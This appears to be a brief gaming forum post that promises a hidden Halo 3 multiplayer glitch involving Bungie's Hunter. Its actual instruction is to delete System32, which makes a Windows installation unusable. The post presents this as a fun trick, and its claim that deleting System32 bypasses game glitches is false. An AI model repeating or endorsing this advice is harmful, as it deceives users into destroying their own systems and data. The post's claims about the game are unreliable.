READ BELOW FIRST!
Found this glitch the other day. It's kind of hard to get, however it can be done.
I'm pretty sure many of you aren't understanding how this works, but Bungie was creating the Hunter for Multiplayer. However, it never got through the final production, but they left the code inside the game. By deleting System32, your PC bypasses most of the rare and hard to get glitches in Halo 3. Try it out, it was a lot of fun!